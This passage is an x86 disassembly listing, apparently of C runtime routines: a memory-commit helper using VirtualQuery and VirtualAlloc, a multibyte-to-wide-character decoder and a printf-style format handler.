jz short loc_409946
loc_4098E3: ; CODE XREF: sub_4098B0+13j
push 1Ch
lea eax, [ebp+var_1C]
push eax
mov eax, dword_4117D8
push eax
call dword_411E04 ; VirtualQuery
test eax, eax
jz short loc_409946
cmp [ebp+var_C], 1000h
jnz short loc_409910
mov eax, [ebp+var_10]
mov edx, dword_4117D8
lea edi, [edx+eax]
jmp short loc_409916
; ---------------------------------------------------------------------------
loc_409910: ; CODE XREF: sub_4098B0+50j
mov edi, dword_4117D8
loc_409916: ; CODE XREF: sub_4098B0+5Ej
mov esi, edi
lea eax, [esi+ebx]
mov edx, dword_4117DC
mov ecx, dword_4117D8
add edx, ecx
cmp eax, edx
jb short loc_409931
xor eax, eax
jmp short loc_409946
; ---------------------------------------------------------------------------
loc_409931: ; CODE XREF: sub_4098B0+7Bj
push 4
push 1000h
push ebx
push esi
call dword_411E00 ; VirtualAlloc
test eax, eax
jz short loc_409946
mov eax, esi
loc_409946: ; CODE XREF: sub_4098B0+31j
; sub_4098B0+47j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4098B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409950 proc near ; CODE XREF: sub_4087E0+44p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
mov eax, [ebp+arg_C]
movzx eax, word ptr [eax+6]
mov [ebp+var_3], al
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_C]
mov eax, [eax]
mov [ebp+var_2], ax
cmp off_411924, 0
jnz loc_409ACB
cmp [ebp+arg_4], 0
jnz short loc_40999E
mov eax, [ebp+arg_C]
mov ecx, dword_40FB38
mov ebx, dword_40FB3C
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_40999E: ; CODE XREF: sub_409950+31j
; sub_409950+176j
cmp [ebp+arg_8], 0
jnz short loc_4099C2
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_4099C2: ; CODE XREF: sub_409950+52j
cmp [ebp+var_3], 0
jbe short loc_409A09
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0C0h
cmp eax, 80h
jz short loc_4099ED
call sub_4083A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_4099ED: ; CODE XREF: sub_409950+88j
movzx eax, [ebp+var_2]
shl eax, 6
mov edx, [ebp+var_8]
movzx edx, byte ptr [edx]
and edx, 3Fh
or eax, edx
mov [ebp+var_2], ax
sub [ebp+var_3], 1
jmp short loc_409A7A
; ---------------------------------------------------------------------------
loc_409A09: ; CODE XREF: sub_409950+76j
mov eax, [ebp+var_8]
test byte ptr [eax], 80h
jnz short loc_409A1D
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov [ebp+var_2], ax
jmp short loc_409A7A
; ---------------------------------------------------------------------------
loc_409A1D: ; CODE XREF: sub_409950+BFj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0E0h
cmp eax, 0C0h
jnz short loc_409A42
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 1Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 1
jmp short loc_409A7A
; ---------------------------------------------------------------------------
loc_409A42: ; CODE XREF: sub_409950+DDj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0F0h
cmp eax, 0E0h
jnz short loc_409A67
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 2
jmp short loc_409A7A
; ---------------------------------------------------------------------------
loc_409A67: ; CODE XREF: sub_409950+102j
call sub_4083A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_409A7A: ; CODE XREF: sub_409950+B7j
; sub_409950+CBj ...
cmp [ebp+var_3], 0
jnz short loc_409AC0
cmp [ebp+arg_0], 0
jz short loc_409A90
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_409A90: ; CODE XREF: sub_409950+134j
mov edx, [ebp+arg_C]
mov word ptr [edx+6], 0
cmp [ebp+var_2], 0
jnz short loc_409AA9
mov [ebp+var_C], 0
jmp short loc_409AB8
; ---------------------------------------------------------------------------
loc_409AA9: ; CODE XREF: sub_409950+14Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_C], eax
loc_409AB8: ; CODE XREF: sub_409950+157j
mov eax, [ebp+var_C]
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_409AC0: ; CODE XREF: sub_409950+12Ej
inc [ebp+var_8]
dec [ebp+arg_8]
jmp loc_40999E
; ---------------------------------------------------------------------------
loc_409ACB: ; CODE XREF: sub_409950+27j
mov [ebp+var_C], 0
cmp [ebp+arg_4], 0
jnz short loc_409AFE
mov eax, [ebp+arg_C]
mov ecx, dword_40FB38
mov ebx, dword_40FB3C
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_409AFE: ; CODE XREF: sub_409950+186j
; sub_409950+292j
cmp [ebp+arg_8], 0
jnz short loc_409B22
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_409B22: ; CODE XREF: sub_409950+1B2j
mov al, [ebp+var_3]
cmp al, 10h
jnb short loc_409B5E
movzx eax, al
mov eax, off_411924[eax*4]
mov [ebp+var_14], eax
test eax, eax
jz short loc_409B5E
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_409B5E
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov edx, [ebp+var_14]
mov ax, [edx+eax*2]
mov [ebp+var_E], ax
test ax, ax
jnz short loc_409B71
loc_409B5E: ; CODE XREF: sub_409950+1D7j
; sub_409950+1E8j ...
call sub_4083A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_409B71: ; CODE XREF: sub_409950+20Cj
movzx eax, [ebp+var_E]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov [ebp+var_3], dl
test eax, 8000h
jz short loc_409B9D
movzx eax, [ebp+var_2]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_E]
or eax, edx
mov [ebp+var_2], ax
loc_409B9D: ; CODE XREF: sub_409950+238j
test [ebp+var_E], 1000h
jz short loc_409BBF
movzx eax, [ebp+var_2]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+var_2], ax
loc_409BBF: ; CODE XREF: sub_409950+253j
test [ebp+var_E], 4000h
jz short loc_409BDC
mov eax, [ebp+var_8]
cmp byte ptr [eax], 0
jz short loc_409BDC
inc [ebp+var_8]
dec [ebp+arg_8]
mov [ebp+var_C], 0
loc_409BDC: ; CODE XREF: sub_409950+275j
; sub_409950+27Dj
test [ebp+var_E], 2000h
jz loc_409AFE
cmp [ebp+arg_0], 0
jz short loc_409BF8
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_409BF8: ; CODE XREF: sub_409950+29Cj
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
cmp [ebp+var_2], 0
jnz short loc_409C1C
mov [ebp+var_18], 0
jmp short loc_409C27
; ---------------------------------------------------------------------------
loc_409C1C: ; CODE XREF: sub_409950+2C1j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_18], eax
loc_409C27: ; CODE XREF: sub_409950+2CAj
mov eax, [ebp+var_18]
loc_409C2A: ; CODE XREF: sub_409950+49j
; sub_409950+6Dj ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_409950 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C30 proc near ; CODE XREF: sub_4087E0+243p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = qword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
movzx eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp eax, 41h
jl short loc_409C4F
cmp eax, 47h
jg short loc_409C5E
jmp dword_40FC40[eax*4]
; ---------------------------------------------------------------------------
loc_409C4F: ; CODE XREF: sub_409C30+11j
cmp [ebp+var_4], 25h
jz loc_40A322
jmp loc_40A337
; ---------------------------------------------------------------------------
loc_409C5E: ; CODE XREF: sub_409C30+16j
mov eax, [ebp+var_4]
cmp eax, 58h
jz loc_409E93
jl loc_40A337
mov eax, [ebp+var_4]
cmp eax, 61h
jl loc_40A337
cmp eax, 78h
jg loc_40A337
jmp dword_40FBDC[eax*4]
; ---------------------------------------------------------------------------
loc_409C8C: ; DATA XREF: DMN0:0040FD68o
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz short loc_409CB9
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
add ecx, 4
mov [eax], ecx
mov eax, [ebp+arg_C]
mov ecx, [ecx-4]
mov [eax+edx], cl
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_409CB9: ; CODE XREF: sub_409C30+63j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov [ebp+var_6], ax
mov [ebp+var_A], ax
mov [ebp+var_8], 0
mov edx, [ebp+arg_0]
or dword ptr [edx+2Ch], 0FFFFFFFFh
lea eax, [ebp+var_A]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40AEB0
add esp, 8
test eax, eax
jge loc_40A362
or eax, 0FFFFFFFFh
jmp loc_40A364
; ---------------------------------------------------------------------------
loc_409CFB: ; DATA XREF: DMN0:0040FD6Co
; DMN0:0040FD80o
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_409D20
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_409D94
; ---------------------------------------------------------------------------
loc_409D20: ; CODE XREF: sub_409C30+D2j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_409D41
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_409D88
; ---------------------------------------------------------------------------
loc_409D41: ; CODE XREF: sub_409C30+F7j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_409D62
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_409D7C
; ---------------------------------------------------------------------------
loc_409D62: ; CODE XREF: sub_409C30+118j
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_409D7C: ; CODE XREF: sub_409C30+130j
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_409D88: ; CODE XREF: sub_409C30+10Fj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_409D94: ; CODE XREF: sub_409C30+EEj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_409DC4
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dx, cx
movsx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_409E0A
; ---------------------------------------------------------------------------
loc_409DC4: ; CODE XREF: sub_409C30+176j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_409DE8
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dl, cl
movsx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_409E0A
; ---------------------------------------------------------------------------
loc_409DE8: ; CODE XREF: sub_409C30+19Bj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_409DF6
cmp al, 7Ah
jnz short loc_409E0A
loc_409DF6: ; CODE XREF: sub_409C30+1C0j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
loc_409E0A: ; CODE XREF: sub_409C30+192j
; sub_409C30+1B6j ...
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_409E31
jl short loc_409E1C
test eax, eax
jnb short loc_409E31
loc_409E1C: ; CODE XREF: sub_409C30+1E6j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_409E6F
; ---------------------------------------------------------------------------
loc_409E31: ; CODE XREF: sub_409C30+1E4j
; sub_409C30+1EAj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_409E51
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_409E6F
; ---------------------------------------------------------------------------
loc_409E51: ; CODE XREF: sub_409C30+20Aj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_409E6F
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_409E6F: ; CODE XREF: sub_409C30+1FFj
; sub_409C30+21Fj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B000
add esp, 8
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_409E93: ; CODE XREF: sub_409C30+34j
; DATA XREF: DMN0:0040FD98o ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_409EB5
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_409F26
; ---------------------------------------------------------------------------
loc_409EB5: ; CODE XREF: sub_409C30+26Aj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_409ED6
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_409F1A
; ---------------------------------------------------------------------------
loc_409ED6: ; CODE XREF: sub_409C30+28Cj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_409EF7
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_409F0E
; ---------------------------------------------------------------------------
loc_409EF7: ; CODE XREF: sub_409C30+2ADj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_409F0E: ; CODE XREF: sub_409C30+2C5j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_409F1A: ; CODE XREF: sub_409C30+2A4j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_409F26: ; CODE XREF: sub_409C30+283j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_409F55
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_409F98
; ---------------------------------------------------------------------------
loc_409F55: ; CODE XREF: sub_409C30+308j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_409F79
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_409F98
; ---------------------------------------------------------------------------
loc_409F79: ; CODE XREF: sub_409C30+32Cj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_409F87
cmp al, 7Ah
jnz short loc_409F98
loc_409F87: ; CODE XREF: sub_409C30+351j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
loc_409F98: ; CODE XREF: sub_409C30+323j
; sub_409C30+347j ...
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_409FE3
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jnz short loc_409FB0
test eax, eax
jz short loc_409FE3
loc_409FB0: ; CODE XREF: sub_409C30+37Aj
mov al, [ebp+arg_8]
cmp al, 78h
jz short loc_409FBB
cmp al, 58h
jnz short loc_409FE3
loc_409FBB: ; CODE XREF: sub_409C30+385j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov cl, [ebp+arg_8]
mov [eax+edx], cl
loc_409FE3: ; CODE XREF: sub_409C30+371j
; sub_409C30+37Ej ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B000
add esp, 8
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A007: ; DATA XREF: DMN0:0040FD44o
; DMN0:0040FD54o ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 4Ch
jnz short loc_40A022
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
jmp short loc_40A032
; ---------------------------------------------------------------------------
loc_40A022: ; CODE XREF: sub_409C30+3DEj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
loc_40A032: ; CODE XREF: sub_409C30+3F0j
fld [ebp+var_20]
fstp qword ptr [eax]
mov eax, [ebp+arg_0]
push eax
call sub_40B240
pop ecx
cmp ax, 2
jz short loc_40A0A5
mov eax, [ebp+arg_0]
test word ptr [eax+6], 8000h
jz short loc_40A067
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_40A0A5
; ---------------------------------------------------------------------------
loc_40A067: ; CODE XREF: sub_409C30+420j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_40A087
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_40A0A5
; ---------------------------------------------------------------------------
loc_40A087: ; CODE XREF: sub_409C30+440j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_40A0A5
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_40A0A5: ; CODE XREF: sub_409C30+415j
; sub_409C30+435j ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B250
add esp, 8
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A0C9: ; DATA XREF: DMN0:0040FD94o
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+3Ah]
mov [ebp+var_24], eax
cmp eax, 68h
jz loc_40A1B2
cmp eax, 6Ah
jz short loc_40A15A
cmp eax, 6Ch
jz loc_40A1CD
jg short loc_40A0F7
cmp [ebp+var_24], 62h
jz short loc_40A11C
jmp loc_40A1E7
; ---------------------------------------------------------------------------
loc_40A0F7: ; CODE XREF: sub_409C30+4BAj
mov eax, [ebp+var_24]
cmp eax, 71h
jz short loc_40A136
cmp eax, 74h
jz short loc_40A17E
cmp eax, 71h
jl loc_40A1E7
cmp [ebp+var_24], 7Ah
jz loc_40A198
jmp loc_40A1E7
; ---------------------------------------------------------------------------
loc_40A11C: ; CODE XREF: sub_409C30+4C0j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], al
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A136: ; CODE XREF: sub_409C30+4CDj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A15A: ; CODE XREF: sub_409C30+4AFj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A17E: ; CODE XREF: sub_409C30+4D2j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A198: ; CODE XREF: sub_409C30+4E1j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A1B2: ; CODE XREF: sub_409C30+4A6j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], ax
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A1CD: ; CODE XREF: sub_409C30+4B4j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A1E7: ; CODE XREF: sub_409C30+4C2j
; sub_409C30+4D7j ...
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A201: ; DATA XREF: DMN0:0040FD9Co
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [ebp+arg_0]
mov edx, [edx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
mov edx, [ebp+arg_0]
mov dword ptr [edx+34h], 8
mov eax, [ebp+arg_0]
or word ptr [eax+38h], 10h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
push 78h
mov eax, [ebp+arg_0]
push eax
call sub_40B000
add esp, 8
jmp loc_40A362
; ---------------------------------------------------------------------------
loc_40A25F: ; DATA XREF: DMN0:0040FDA8o
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz loc_40A2FF
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [ebp+var_2C], edx
mov [eax], edx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_2C]
mov eax, [eax-4]
mov [edx+10h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jnz short loc_40A298
mov edx, [ebp+arg_0]
mov dword ptr [edx+10h], offset dword_40FDC0
loc_40A298: ; CODE XREF: sub_409C30+65Cj
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
cmp dword ptr [eax+2Ch], 0
jge short loc_40A2B9
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
or eax, 0FFFFFFFFh
loc_40A2AD: ; CODE XREF: sub_409C30+682j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_40A2AD
mov [ebp+var_30], eax
jmp short loc_40A2F4
; ---------------------------------------------------------------------------
loc_40A2B9: ; CODE XREF: sub_409C30+672j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
push edx
push 0
mov eax, [eax+10h]
push eax
call sub_408FA0
add esp, 0Ch
mov [ebp+var_28], eax
test eax, eax
jz short loc_40A2E5
mov eax, [ebp+var_28]
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
sub eax, edx
mov [ebp+var_34], eax
jmp short loc_40A2EE
; ---------------------------------------------------------------------------
loc_40A2E5: ; CODE XREF: sub_409C30+6A3j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+var_34], eax
loc_40A2EE: ; CODE XREF: sub_409C30+6B3j
mov eax, [ebp+var_34]
mov [ebp+var_30], eax
loc_40A2F4: ; CODE XREF: sub_409C30+687j
mov eax, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+1Ch], eax
jmp short loc_40A362
; ---------------------------------------------------------------------------
loc_40A2FF: ; CODE XREF: sub_409C30+636j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40AEB0
add esp, 8
test eax, eax
jge short loc_40A362
or eax, 0FFFFFFFFh
jmp short loc_40A364
; ---------------------------------------------------------------------------
loc_40A322: ; CODE XREF: sub_409C30+23j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 25h
jmp short loc_40A362
; ---------------------------------------------------------------------------
loc_40A337: ; CODE XREF: sub_409C30+29j
